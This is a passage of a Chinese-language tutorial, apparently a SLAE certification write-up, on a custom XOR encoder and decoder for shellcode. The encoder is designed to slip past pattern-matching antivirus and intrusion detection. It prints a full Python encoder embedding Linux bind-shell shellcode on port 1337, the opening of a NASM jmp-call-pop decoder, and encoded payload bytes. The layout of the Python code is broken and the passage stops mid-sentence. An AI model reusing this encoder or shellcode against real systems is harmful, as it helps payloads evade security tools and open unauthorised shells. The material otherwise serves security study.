一、前言
在渗透测试过程中,反病毒软件(AV)以及入侵检测系统(IDS)是非常令人讨厌的存在。这些东西通常是导致攻击载荷失效、系统锁定或者渗透测试人员脾气爆炸的罪魁祸首。本文介绍了绕过AV以及IDS的一种简单方法,我们可以利用这种方法绕过基于模式匹配的安全软件或者硬件。这并不是一种面面俱到的解决方法,并非为绕过强大的启发式系统而设计,但可以作为一个非常好的研究起点,我们可以进一步改进相应的编码及混淆技术。
这篇文章主要涉及到我在SecurityTube Linux汇编专家认证系列任务中用到的shellcode编码器及解码器相关技术。
二、随机字节插入异或编码方案
随机字节插入异或编码(Random-Byte-Insertion-XOR Encoding,RBIX编码)方案本身是非常简单的一种方案。主要思想是将某个随机字节作为异或(XOR)操作的基础值,以上一个操作的结果为基础,继续处理下一个异或操作。第3个以及第4个字节的处理过程也遵循相同的方式。编码过程的处理流程图如下图所示:

首先(在步骤#1执行之前),编码器将输入的shellcode按3字节长度切分成多个数据块,然后在每个数据块的头部添加一个随机字节(0x01到0xFF之间的一个值),因此这类随机字节在各数据块上各不一样。如果shellcode的大小不是3字节的整数倍,那么我们需要在最后一个数据块中添加NOP填充字节(0x90)。
在第2个步骤中,编码器将第1个字节(即随机的字节)与第2个字节(原始shellcode的首个字节)进行异或,将第2个字节的值替换为异或后的值。第3个步骤接收第1次异或操作的结果,将该结果与第3个字节进行异或,最后一个步骤使用相同的处理过程,将上次异或操作的结果与当前数据块的最后一个字节进行异或。
最终我们可以得到一个看上去完全碎片化的内存数据。
三、Python编码器
基于Python的编码器如下所示:
#!/usr/bin/python
#SLAE - Assignment #4: Custom Shellcode Encoder/Decoder
#Author: Julien Ahrens (@MrTuxracer)
#Website:
from random import randint
#Payload: Bind Shell SLAE-Assignment #1
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
badchars = ["\x00"]
def xorBytes(byteArray): # Randomize first byte rnd=randint(1,255)
xor1=(rnd ^ byteArray[0])
xor2=(xor1 ^ byteArray[1])
xor3=(xor2 ^ byteArray[2])
xorArray=bytearray()
xorArray.append(rnd)
xorArray.append(xor1)
xorArray.append(xor2)
xorArray.append(xor3)
return cleanBadChars(byteArray, xorArray, badchars)
def cleanBadChars(origArray, payload, badchars):
for k in badchars:
# Ooops, BadChar found :( Do XOR stuff again with a new random value
# This could run into an infinite loop in some cases
if payload.find(k) >= 0:
payload=xorBytes(origArray)
return payload
def encodeShellcode (byteArr):
shellcode=bytearray()
shellcode.extend(byteArr)
encoded=bytearray()
tmp=bytearray()
final=""
# Check whether shellcode is aligned
if len(shellcode) % 3 == 1:
shellcode.append(0x90)
shellcode.append(0x90)
elif len(shellcode) % 3 == 2:
shellcode.append(0x90)
# Loop to split shellcode into 3-byte-blocks
for i in range(0,len(shellcode),3):
tmp_block=bytearray()
tmp_block.append(shellcode[i])
tmp_block.append(shellcode[i+1])
tmp_block.append(shellcode[i+2])
# Do the RND-Insertion and chained XORs
tmp=xorBytes(tmp_block)
# Some formatting things for easier use in NASM :)
for y in tmp:
if len(str(hex(y))) == 3:
final+=str(hex(y)[:2]) + "0" + str(hex(y)[2:])+","
else:
final+=hex(y)+","
return final[:-1]
print "Encoded Shellcode:\r"
print encodeShellcode(shellcode)
这个脚本可以生成NASM兼容的shellcode,对导致攻击过程失败的某些异常字符也进行了处理。这个脚本用到了我在SLAE #1号任务中使用过的shellcode,其作用只是简单地将shell接口绑定到1337端口上。脚本会生成编码后的shellcode,输出结果如下图所示,其中我们看不到0x00这个字节,因为这个字节处于“字节黑名单”中,已经被妥善处理:

四、Shellcoder解码器
为了将编码后的shellcode恢复到原始的形式(即解码处理过程),我将一个解码器放在经过编码的shellcode的开头部位,这个解码器可以读取并解码内存中的shellcode,然后再执行这个shellcode。简单的解码过程如下图所示:

将不同字节彼此异或处理,并删除附加的字节后,我们可以将shellcode恢复到最初状态。现在我们可以好好分析真正有趣的部分:使用汇编语言来实现解码器。
首先,寄存器的布局信息如下所示:
EAX: 每次异或操作的第一个操作数
EBX: 每次异或操作的第二个操作数
ECX, EDX: 循环计数器
ESI: 指向编码后shellcode的指针
EDI: 指向解码后shellcode的指针
为了处理编码后的shellcode,我们需要一个寄存器(ESI)来指向shellcode的内存地址。我们还需要shellcode的长度值,这个值被后面的一个指针所引用,因此这里我会先跳过这个值的具体信息。为了获取地址信息,我们使用了jmp-call-pop(跳转、调用、弹出)技术:
global _start
section .text
_start:
jmp getshellcode
decoder:
pop esi ; pointer to shellcode
push esi; save address of shellcode for later execution
mov edi, esi ;copy address of shellcode to edi to work with it
[...]
get_shellcode:
call decoder
shellcode: db
0x60,0x0a,0x6c,0x34,0xa6,0xcc,0xcd,0x96,0xf9,0xc8,0x3e,0x68,0xa6,0xf5,0x9f,0x9d,0x37,0xbe,0x5f,0x92,0x5d,0xdd,0x82,0x15,0xe4,0x77,0xc7,0xa1,0xdc,0x8a,0xec,0x84,0xe2,0xe7,0xde,0xb8,0x17,0x44,0xcd,0x2c,0x1d,0x77,0x67,0x36,0x18,0x4f,0xc6,0x27,0x55,0x98,0x18,0xa8,0x52,0x34,0x87,0x83,0xdc,0x8a,0xdd,0x54,0xa5,0x44,0x89,0x09,0xa6,0x16,0x70,0x33,0xe6,0xb0,0xe6,0xb1,0xbf,0x36,0xd7,0x1a,0x5b,0xdb,0x82,0xdb,0xea,0x5b,0x59,0xca,0x23,0x93,0xac,0x61,0x0d,0x8d,0xc4,0xbd,0xed,0x14,0xa4,0xaf,0xe0,0x88,0xa7,0x88,0x25,0x56,0x3e,0x56,0x63,0x4c,0x2e,0x47,0x5c,0x32,0xbb,0x58,0xc3,0x82,0x0b,0xc1,0xff,0x32,0xb2,0x22
len: equ $-shellcode
在POP及MOV指令后,ESI寄存器以及EDI寄存器指向编码后的shellcode,此外相

